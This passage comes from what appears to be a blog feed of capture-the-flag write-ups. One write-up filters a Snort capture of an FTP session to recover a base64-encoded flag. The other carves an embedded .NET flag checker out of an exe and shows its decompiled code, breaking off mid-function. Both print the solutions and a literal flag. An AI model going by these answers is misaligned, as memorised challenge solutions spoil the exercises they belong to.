</span></span><span style="display:flex;"><span>0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00  ..............E.
</span></span><span style="display:flex;"><span>0x0010: 00 34 97 CB 40 00 40 06 3D 94 65 00 00 65 00 00  .4..@.@.=.e..e..
</span></span><span style="display:flex;"><span>0x0020: 00 00 00 15 EA 4E B9 BA 3B FD 76 61 A4 5B 80 10  .....N..;.va.[..
</span></span><span style="display:flex;"><span>0x0030: 02 00 97 D6 00 00 01 01 08 0A 1C 34 2D B9 60 3F  ...........4-.`?
</span></span><span style="display:flex;"><span>0x0040: D2 7C                                            .|
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>12/24-15:00:35.901267  [**] [1:0:0] [**] [Priority: 0] {TCP} 101.0.0.101:21 -&gt; 0.0.0.0:59982
</span></span><span style="display:flex;"><span>12/24-15:00:35.901267 00:00:00:00:00:00 -&gt; 00:00:00:00:00:00 type:0x800 len:0x64
</span></span><span style="display:flex;"><span>101.0.0.101:21 -&gt; 0.0.0.0:59982 TCP TTL:64 TOS:0x0 ID:38860 IpLen:20 DgmLen:86 DF
</span></span><span style="display:flex;"><span>***AP*** Seq: 0xB9BA3BFD  Ack: 0x7661A45B  Win: 0x200  TcpLen: 32
</span></span><span style="display:flex;"><span>TCP Options (3) =&gt; NOP NOP TS: 473181627 1614795388
</span></span><span style="display:flex;"><span>0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00  ..............E.
</span></span><span style="display:flex;"><span>0x0010: 00 56 97 CC 40 00 40 06 3D 71 65 00 00 65 00 00  .V..@.@.=qe..e..
</span></span><span style="display:flex;"><span>0x0020: 00 00 00 15 EA 4E B9 BA 3B FD 76 61 A4 5B 80 18  .....N..;.va.[..
</span></span><span style="display:flex;"><span>0x0030: 02 00 50 89 00 00 01 01 08 0A 1C 34 2D BB 60 3F  ..P........4-.`?
</span></span><span style="display:flex;"><span>0x0040: D2 7C 33 33 31 20 50 6C 65 61 73 65 20 73 70 65  .|331 Please spe
</span></span><span style="display:flex;"><span>0x0050: 63 69 66 79 20 74 68 65 20 70 61 73 73 77 6F 72  cify the passwor
</span></span><span style="display:flex;"><span>0x0060: 64 2E 0D 0A                                      d...
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>12/24-15:00:35.901403  [**] [1:0:0] [**] [Priority: 0] {TCP} 0.0.0.0:59982 -&gt; 101.0.0.101:21
</span></span><span style="display:flex;"><span>12/24-15:00:35.901403 00:00:00:00:00:00 -&gt; 00:00:00:00:00:00 type:0x800 len:0x53
</span></span><span style="display:flex;"><span>0.0.0.0:59982 -&gt; 101.0.0.101:21 TCP TTL:64 TOS:0x10 ID:21557 IpLen:20 DgmLen:69 DF
</span></span><span style="display:flex;"><span>***AP*** Seq: 0x7661A45B  Ack: 0xB9BA3C1F  Win: 0x4000  TcpLen: 32
</span></span><span style="display:flex;"><span>TCP Options (3) =&gt; NOP NOP TS: 1614795390 473181627
</span></span><span style="display:flex;"><span>0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 10  ..............E.
</span></span><span style="display:flex;"><span>0x0010: 00 45 54 35 40 00 40 06 81 09 00 00 00 00 65 00  .ET5@.@.......e.
</span></span><span style="display:flex;"><span>0x0020: 00 65 EA 4E 00 15 76 61 A4 5B B9 BA 3C 1F 80 18  .e.N..va.[..&lt;...
</span></span><span style="display:flex;"><span>0x0030: 40 00 8B C8 00 00 01 01 08 0A 60 3F D2 7E 1C 34  @.........`?.~.4
</span></span><span style="display:flex;"><span>0x0040: 2D BB 50 41 53 53 20 61 6E 6F 6E 79 6D 6F 75 73  -.PASS anonymous
</span></span><span style="display:flex;"><span>0x0050: 40 0D 0A                                         @..
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>12/24-15:00:35.903406  [**] [1:0:0] [**] [Priority: 0] {TCP} 101.0.0.101:21 -&gt; 0.0.0.0:59982
</span></span><span style="display:flex;"><span>12/24-15:00:35.903406 00:00:00:00:00:00 -&gt; 00:00:00:00:00:00 type:0x800 len:0x59
</span></span><span style="display:flex;"><span>101.0.0.101:21 -&gt; 0.0.0.0:59982 TCP TTL:64 TOS:0x0 ID:38861 IpLen:20 DgmLen:75 DF
</span></span><span style="display:flex;"><span>***AP*** Seq: 0xB9BA3C1F  Ack: 0x7661A46C  Win: 0x200  TcpLen: 32
</span></span><span style="display:flex;"><span>TCP Options (3) =&gt; NOP NOP TS: 473181629 1614795390
</span></span><span style="display:flex;"><span>0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00  ..............E.
</span></span><span style="display:flex;"><span>0x0010: 00 4B 97 CD 40 00 40 06 3D 7B 65 00 00 65 00 00  .K..@.@.={e..e..
</span></span><span style="display:flex;"><span>0x0020: 00 00 00 15 EA 4E B9 BA 3C 1F 76 61 A4 6C 80 18  .....N..&lt;.va.l..
</span></span><span style="display:flex;"><span>0x0030: 02 00 B6 05 00 00 01 01 08 0A 1C 34 2D BD 60 3F  ...........4-.`?
</span></span><span style="display:flex;"><span>0x0040: D2 7E 32 33 30 20 4C 6F 67 69 6E 20 73 75 63 63  .~230 Login succ
</span></span><span style="display:flex;"><span>0x0050: 65 73 73 66 75 6C 2E 0D 0A                       essful...
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>12/24-15:00:35.903596  [**] [1:0:0] [**] [Priority: 0] {TCP} 0.0.0.0:59982 -&gt; 101.0.0.101:21
</span></span><span style="display:flex;"><span>12/24-15:00:35.903596 00:00:00:00:00:00 -&gt; 00:00:00:00:00:00 type:0x800 len:0x48
</span></span><span style="display:flex;"><span>0.0.0.0:59982 -&gt; 101.0.0.101:21 TCP TTL:64 TOS:0x10 ID:21558 IpLen:20 DgmLen:58 DF
</span></span><span style="display:flex;"><span>***AP*** Seq: 0x7661A46C  Ack: 0xB9BA3C36  Win: 0x4000  TcpLen: 32
</span></span><span style="display:flex;"><span>TCP Options (3) =&gt; NOP NOP TS: 1614795392 473181629
</span></span><span style="display:flex;"><span>0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 10  ..............E.
</span></span><span style="display:flex;"><span>0x0010: 00 3A 54 36 40 00 40 06 81 13 00 00 00 00 65 00  .:T6@.@.......e.
</span></span><span style="display:flex;"><span>0x0020: 00 65 EA 4E 00 15 76 61 A4 6C B9 BA 3C 36 80 18  .e.N..va.l..&lt;6..
</span></span><span style="display:flex;"><span>0x0030: 40 00 A5 BE 00 00 01 01 08 0A 60 3F D2 80 1C 34  @.........`?...4
</span></span><span style="display:flex;"><span>0x0040: 2D BD 53 59 53 54 0D 0A                          -.SYST..
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>12/24-15:00:35.905623  [**] [1:0:0] [**] [Priority: 0] {TCP} 101.0.0.101:21 -&gt; 0.0.0.0:59982
</span></span><span style="display:flex;"><span>12/24-15:00:35.905623 00:00:00:00:00:00 -&gt; 00:00:00:00:00:00 type:0x800 len:0x55
</span></span><span style="display:flex;"><span>101.0.0.101:21 -&gt; 0.0.0.0:59982 TCP TTL:64 TOS:0x0 ID:38862 IpLen:20 DgmLen:71 DF
</span></span><span style="display:flex;"><span>***AP*** Seq: 0xB9BA3C36  Ack: 0x7661A472  Win: 0x200  TcpLen: 32
</span></span><span style="display:flex;"><span>TCP Options (3) =&gt; NOP NOP TS: 473181631 1614795392
</span></span><span style="display:flex;"><span>0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00  ..............E.
</span></span><span style="display:flex;"><span>0x0010: 00 47 97 CE 40 00 40 06 3D 7E 65 00 00 65 00 00  .G..@.@.=~e..e..
</span></span><span style="display:flex;"><span>0x0020: 00 00 00 15 EA 4E B9 BA 3C 36 76 61 A4 72 80 18  .....N..&lt;6va.r..
</span></span><span style="display:flex;"><span>0x0030: 02 00 30 11 00 00 01 01 08 0A 1C 34 2D BF 60 3F  ..0........4-.`?
</span></span><span style="display:flex;"><span>0x0040: D2 80 32 31 35 20 55 4E 49 58 20 54 79 70 65 3A  ..215 UNIX Type:
</span></span><span style="display:flex;"><span>0x0050: 20 4C 38 0D 0A                                    L8..
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>12/24-15:00:35.905774  [**] [1:0:0] [**] [Priority: 0] {TCP} 0.0.0.0:59982 -&gt; 101.0.0.101:21
</span></span><span style="display:flex;"><span>12/24-15:00:35.905774 00:00:00:00:00:00 -&gt; 00:00:00:00:00:00 type:0x800 len:0x48
</span></span><span style="display:flex;"><span>0.0.0.0:59982 -&gt; 101.0.0.101:21 TCP TTL:64 TOS:0x10 ID:21559 IpLen:20 DgmLen:58 DF
</span></span><span style="display:flex;"><span>***AP*** Seq: 0x7661A472  Ack: 0xB9BA3C49  Win: 0x4000  TcpLen: 32
</span></span><span style="display:flex;"><span>TCP Options (3) =&gt; NOP NOP TS: 1614795394 473181631
</span></span><span style="display:flex;"><span>0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 10  ..............E.
</span></span><span style="display:flex;"><span>0x0010: 00 3A 54 37 40 00 40 06 81 12 00 00 00 00 65 00  .:T7@.@.......e.
</span></span><span style="display:flex;"><span>0x0020: 00 65 EA 4E 00 15 76 61 A4 72 B9 BA 3C 49 80 18  .e.N..va.r..&lt;I..
</span></span><span style="display:flex;"><span>0x0030: 40 00 C4 B5 00 00 01 01 08 0A 60 3F D2 82 1C 34  @.........`?...4
</span></span><span style="display:flex;"><span>0x0040: 2D BF 46 45 41 54 0D 0A                          -.FEAT..
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>12/24-15:00:35.907596  [**] [1:0:0] [**] [Priority: 0] {TCP} 101.0.0.101:21 -&gt; 0.0.0.0:59982
</span></span><span style="display:flex;"><span>12/24-15:00:35.907596 00:00:00:00:00:00 -&gt; 00:00:00:00:00:00 type:0x800 len:0x58
</span></span><span style="display:flex;"><span>101.0.0.101:21 -&gt; 0.0.0.0:59982 TCP TTL:64 TOS:0x0 ID:38863 IpLen:20 DgmLen:74 DF
</span></span><span style="display:flex;"><span>***AP*** Seq: 0xB9BA3C49  Ack: 0x7661A478  Win: 0x200  TcpLen: 32
</span></span><span style="display:flex;"><span>TCP Options (3) =&gt; NOP NOP TS: 473181633 1614795394
</span></span><span style="display:flex;"><span>0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00  ..............E.
</span></span><span style="display:flex;"><span>0x0010: 00 4A 97 CF 40 00 40 06 3D 7A 65 00 00 65 00 00  .J..@.@.=ze..e..
</span></span><span style="display:flex;"><span>0x0020: 00 00 00 15 EA 4E B9 BA 3C 49 76 61 A4 78 80 18  .....N..&lt;Iva.x..
</span></span><span style="display:flex;"><span>0x0030: 02 00 EF F8 00 00 01 01 08 0A 1C 34 2D C1 60 3F  ...........4-.`?
</span></span><span style="display:flex;"><span>0x0040: D2 82 35 30 30 20 55 6E 6B 6E 6F 77 6E 20 63 6F  ..500 Unknown co
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>...TRUNCATED RESPONSE...
</span></span></code></pre></div><p>It is a FTP session, but it is so long that the output is truncated, so lets do some content filtering to find what we want (I tried to look for a few things, but <code>file</code> worked):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>Please input your magical sequence:
</span></span><span style="display:flex;"><span>&gt;&gt;&gt; alert tcp any any &lt;&gt; 101.0.0.101 <span style="color:#ae81ff">21</span> <span style="color:#f92672">(</span>content:<span style="color:#e6db74">&#34;file&#34;</span>; sid:1<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>Sequence recieved. Validating magic sequence...
</span></span><span style="display:flex;"><span>Validation succeeded. Beginning sequencing of your submission...
</span></span><span style="display:flex;"><span>SNORT&#39;er finished with the following results:
</span></span><span style="display:flex;"><span>12/24-15:00:35.959223  [**] [1:1:0] [**] [Priority: 0] {TCP} 101.0.0.101:21 -&gt; 0.0.0.0:59982
</span></span><span style="display:flex;"><span>12/24-15:00:35.959223 00:00:00:00:00:00 -&gt; 00:00:00:00:00:00 type:0x800 len:0x1B6
</span></span><span style="display:flex;"><span>101.0.0.101:21 -&gt; 0.0.0.0:59982 TCP TTL:64 TOS:0x0 ID:38869 IpLen:20 DgmLen:424 DF
</span></span><span style="display:flex;"><span>***AP*** Seq: 0xB9BA3CEE  Ack: 0x7661A4B1  Win: 0x200  TcpLen: 32
</span></span><span style="display:flex;"><span>TCP Options (3) =&gt; NOP NOP TS: 473181685 1614795448
</span></span><span style="display:flex;"><span>0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00  ..............E.
</span></span><span style="display:flex;"><span>0x0010: 01 A8 97 D5 40 00 40 06 3C 16 65 00 00 65 00 00  ....@.@.&lt;.e..e..
</span></span><span style="display:flex;"><span>0x0020: 00 00 00 15 EA 4E B9 BA 3C EE 76 61 A4 B1 80 18  .....N..&lt;.va....
</span></span><span style="display:flex;"><span>0x0030: 02 00 B6 89 00 00 01 01 08 0A 1C 34 2D F5 60 3F  ...........4-.`?
</span></span><span style="display:flex;"><span>0x0040: D2 B8 20 20 20 20 20 43 6F 6E 6E 65 63 74 65 64  ..     Connected
</span></span><span style="display:flex;"><span>0x0050: 20 74 6F 20 31 37 32 2E 32 31 2E 30 2E 32 0D 0A   to 172.21.0.2..
</span></span><span style="display:flex;"><span>0x0060: 20 20 20 20 20 4C 6F 67 67 65 64 20 69 6E 20 61       Logged in a
</span></span><span style="display:flex;"><span>0x0070: 73 20 73 75 72 74 72 0D 0A 20 20 20 20 20 54 59  s surtr..     TY
</span></span><span style="display:flex;"><span>0x0080: 50 45 3A 20 42 49 4E 41 52 59 0D 0A 20 20 20 20  PE: BINARY..
</span></span><span style="display:flex;"><span>0x0090: 20 53 65 73 73 69 6F 6E 20 74 69 6D 65 6F 75 74   Session timeout
</span></span><span style="display:flex;"><span>0x00A0: 20 69 6E 20 73 65 63 6F 6E 64 73 20 69 73 20 31   in seconds is 1
</span></span><span style="display:flex;"><span>0x00B0: 32 30 0D 0A 20 20 20 20 20 43 6F 6E 74 72 6F 6C  20..     Control
</span></span><span style="display:flex;"><span>0x00C0: 20 63 6F 6E 6E 65 63 74 69 6F 6E 20 69 73 20 70   connection is p
</span></span><span style="display:flex;"><span>0x00D0: 6C 61 69 6E 20 74 65 78 74 0D 0A 20 20 20 20 20  lain text..
</span></span><span style="display:flex;"><span>0x00E0: 44 61 74 61 20 63 6F 6E 6E 65 63 74 69 6F 6E 73  Data connections
</span></span><span style="display:flex;"><span>0x00F0: 20 77 69 6C 6C 20 62 65 20 70 6C 61 69 6E 20 74   will be plain t
</span></span><span style="display:flex;"><span>0x0100: 65 78 74 0D 0A 20 20 20 20 20 4D 61 78 69 6D 75  ext..     Maximu
</span></span><span style="display:flex;"><span>0x0110: 6D 20 66 69 6C 65 20 73 69 7A 65 20 69 73 20 31  m file size is 1
</span></span><span style="display:flex;"><span>0x0120: 30 30 30 30 30 30 30 20 62 79 74 65 73 0D 0A 20  0000000 bytes..
</span></span><span style="display:flex;"><span>0x0130: 20 20 20 20 54 68 65 20 54 72 75 74 68 20 69 73      The Truth is
</span></span><span style="display:flex;"><span>0x0140: 20 69 6E 20 74 68 65 20 64 65 74 61 69 6C 73 20   in the details
</span></span><span style="display:flex;"><span>0x0150: 2D 20 66 58 52 31 54 31 39 30 61 47 64 70 55 6C  - fXR1T190aGdpUl
</span></span><span style="display:flex;"><span>0x0160: 39 30 59 57 68 55 58 32 52 6C 56 46 4A 50 54 6C  90YWhUX2RlVFJPTl
</span></span><span style="display:flex;"><span>0x0170: 4E 66 64 57 39 5A 65 30 46 44 52 45 59 3D 20 2D  NfdW9Ze0FDREY= -
</span></span><span style="display:flex;"><span>0x0180: 20 59 6F 75 20 70 72 6F 62 61 62 6C 79 20 77 61   You probably wa
</span></span><span style="display:flex;"><span>0x0190: 6E 6E 61 20 6C 6F 6F 6B 20 61 74 20 74 68 69 73  nna look at this
</span></span><span style="display:flex;"><span>0x01A0: 2E 0D 0A 32 31 31 20 45 6E 64 20 6F 66 20 73 74  ...211 End of st
</span></span><span style="display:flex;"><span>0x01B0: 61 74 75 73 0D 0A                                atus..
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
</span></span></code></pre></div><p>Decoding the base64 and reversing the string gives the flag:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ echo <span style="color:#e6db74">&#34;fXR1T190aGdpUl90YWhUX2RlVFJPTlNfdW9Ze0FDREY=&#34;</span> | base64 -d | rev
</span></span><span style="display:flex;"><span>FDCA{You_SNORTed_That_Right_Out}
</span></span></code></pre></div>]]></content></item><item><title>FDCA Xmas 2024 Day 23 - Den Indpakkede Gave</title><link>https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-23-den-indpakkede-gave/</link><pubDate>Tue, 24 Dec 2024 15:59:23 +0100</pubDate><guid>https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-23-den-indpakkede-gave/</guid><description>Challenge Description Danish (original) Thor har modtaget en besked fra jætterne, som hævder at have krypteret et vigtigt juleflag i en digital gave. Kun de, der kan afkode beskeden og bryde jætternes obfuskerede logik, kan hjælpe Asgård med at genoprette flaget. Kan du finde flaget og redde julen?
English (from chatgpt) Thor has received a message from the giants, claiming to have encrypted an important Christmas flag in a digital gift.</description><content type="html"><![CDATA[<h2 id="challenge-description">Challenge Description</h2>
<h3 id="danish-original">Danish (original)</h3>
<p>Thor har modtaget en besked fra jætterne, som hævder at have krypteret et vigtigt juleflag i en digital gave. Kun de, der kan afkode beskeden og bryde jætternes obfuskerede logik, kan hjælpe Asgård med at genoprette flaget. Kan du finde flaget og redde julen?</p>
<h3 id="english-from-chatgpt">English (from chatgpt)</h3>
<p>Thor has received a message from the giants, claiming to have encrypted an important Christmas flag in a digital gift. Only those who can decode the message and break the giants&rsquo; obfuscated logic can help Asgard restore the flag. Can you find the flag and save Christmas?</p>
<h2 id="file">File</h2>
<p>We are also given the following file:</p>
<ul>
<li><a href="https://filehost.osiriz.xyz/homepage/files/fdcachristmas2024/IndpakketGave.zip">IndpakketGave.zip</a></li>
</ul>
<h2 id="solution">Solution</h2>
<p>Unzipping the file we get an exe file:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ unzip IndpakketGave.zip
</span></span><span style="display:flex;"><span>Archive:  IndpakketGave.zip
</span></span><span style="display:flex;"><span>  inflating: IndpakketGave.exe
</span></span></code></pre></div><p>Running <code>strings</code> I found .NET library names (e.g. <code>System.Security.Cryptography</code>), so I tried opening it with <a href="https://github.com/icsharpcode/AvaloniaILSpy">AvaloniaILSpy</a>, but that actually did not work. So thinking about the challenge name &ldquo;Den Indpakkede Gave&rdquo; (The Wrapped Gift) I used <code>foremost</code> to see if it might be a program in a program, and it sure is:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ foremost IndpakketGave.exe
</span></span><span style="display:flex;"><span>Processing: IndpakketGave.exe
</span></span><span style="display:flex;"><span>|*|
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>$ cat output/audit.txt
</span></span><span style="display:flex;"><span>Foremost version 1.5.7 by Jesse Kornblum, Kris Kendall, and Nick Mikus
</span></span><span style="display:flex;"><span>Audit File
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>Foremost started at Mon Dec 23 09:54:20 2024
</span></span><span style="display:flex;"><span>Invocation: foremost IndpakketGave.exe
</span></span><span style="display:flex;"><span>Output directory: /home/osiriz/dl/output
</span></span><span style="display:flex;"><span>Configuration file: /etc/foremost.conf
</span></span><span style="display:flex;"><span>------------------------------------------------------------------
</span></span><span style="display:flex;"><span>File: IndpakketGave.exe
</span></span><span style="display:flex;"><span>Start: Mon Dec 23 09:54:20 2024
</span></span><span style="display:flex;"><span>Length: 118 KB (121346 bytes)
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>Num      Name (bs=512)         Size      File Offset     Comment
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>0:      00000000.exe         108 KB               0      10/17/2024 12:16:00
</span></span><span style="display:flex;"><span>1:      00000216.exe           9 KB          110592      12/08/2088 01:22:32
</span></span><span style="display:flex;"><span>Finish: Mon Dec 23 09:54:20 2024
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>2 FILES EXTRACTED
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>exe:= 2
</span></span><span style="display:flex;"><span>------------------------------------------------------------------
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>Foremost finished at Mon Dec 23 09:54:20 2024
</span></span></code></pre></div><p>So opening the extracted <code>00000216.exe</code> instead we can get the following source code:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-csharp" data-lang="csharp"><span style="display:flex;"><span><span style="color:#66d9ef">internal</span> <span style="color:#66d9ef">class</span> <span style="color:#a6e22e">P</span>
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">private</span> <span style="color:#66d9ef">static</span> <span style="color:#66d9ef">void</span> Main(<span style="color:#66d9ef">string</span>[] args)
</span></span><span style="display:flex;"><span>	{
</span></span><span style="display:flex;"><span>		Console.WriteLine(<span style="color:#e6db74">&#34;\n                                 |\n                               \\ &#39; /\n                             -- (*) --\n                                &gt;*&lt;\n                               &gt;0&lt;@&lt;\n                              &gt;&gt;&gt;@&lt;&lt;*\n                             &gt;@&gt;*&lt;0&lt;&lt;&lt;\n                            &gt;*&gt;&gt;@&lt;&lt;&lt;@&lt;&lt;\n                           &gt;@&gt;&gt;0&lt;&lt;&lt;*&lt;&lt;@&lt;\n                          &gt;*&gt;&gt;0&lt;&lt;@&lt;&lt;&lt;@&lt;&lt;&lt;\n                         &gt;@&gt;&gt;*&lt;&lt;@&lt;&gt;*&lt;&lt;0&lt;*&lt;\n           \\*/          &gt;0&gt;&gt;*&lt;&lt;@&lt;&gt;0&gt;&lt;&lt;*&lt;@&lt;&lt;\n       ___\\\\U//___     &gt;*&gt;&gt;@&gt;&lt;0&lt;&lt;*&gt;&gt;@&gt;&lt;*&lt;0&lt;&lt;\n       |\\\\ | | \\\\|    &gt;@&gt;&gt;0&lt;*&lt;0&gt;&gt;@&lt;&lt;0&lt;&lt;&lt;*&lt;@&lt;&lt;  \n       | \\\\| | _(UU)_ &gt;((*))_&gt;0&gt;&lt;*&lt;0&gt;&lt;@&lt;&lt;&lt;0&lt;*&lt;\n       |\\ \\| || / //||.*.*.*.|&gt;&gt;@&lt;&lt;*&lt;&lt;@&gt;&gt;&lt;0&lt;&lt;&lt;\n       |\\\\_|_|&amp;&amp;_// ||*.*.*.*|_\\\\db//_               \n       \&#34;\&#34;|&#39;.&#39;.&#39;.|~~|.*.*.*|     ____|_\n           |&#39;.&#39;.&#39;.|   ^^^^^^|____|&gt;&gt;&gt;&gt;&gt;&gt;|\n           ~~~~~~~~         &#39;\&#34;\&#34;`------&#39;\n                                   &#34;</span>);
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">string</span> kG = Resources.kG;
</span></span><span style="display:flex;"><span>		Console.WriteLine(<span style="color:#e6db74">&#34;Velkommen!&#34;</span>);
</span></span><span style="display:flex;"><span>		Console.WriteLine(<span style="color:#e6db74">&#34;Venligst indsat flaget:&#34;</span>);
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">string?</span> q = Console.ReadLine();
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">byte</span>[] bytes = Encoding.ASCII.GetBytes(<span style="color:#e6db74">&#34;valhallahpakkergodegaver&#34;</span>);
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">byte</span>[] s = <span style="color:#66d9ef">new</span> <span style="color:#66d9ef">byte</span>[<span style="color:#ae81ff">16</span>];
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> (S(E(q, bytes, s)) == kG)
</span></span><span style="display:flex;"><span>		{
</span></span><span style="display:flex;"><span>			Console.WriteLine(<span style="color:#e6db74">&#34;Tillykke dit flag er korrekt!&#34;</span>);
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span>		{
</span></span><span style="display:flex;"><span>			Console.WriteLine(<span style="color:#e6db74">&#34;Forkert.&#34;</span>);
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">private</span> <span style="color:#66d9ef">static</span> <span style="color:#66d9ef">string</span> E(<span style="color:#66d9ef">string</span> q, <span style="color:#66d9ef">byte</span>[] r, <span style="color:#66d9ef">byte</span>[] s)
</span></span><span style="display:flex;"><span>	{
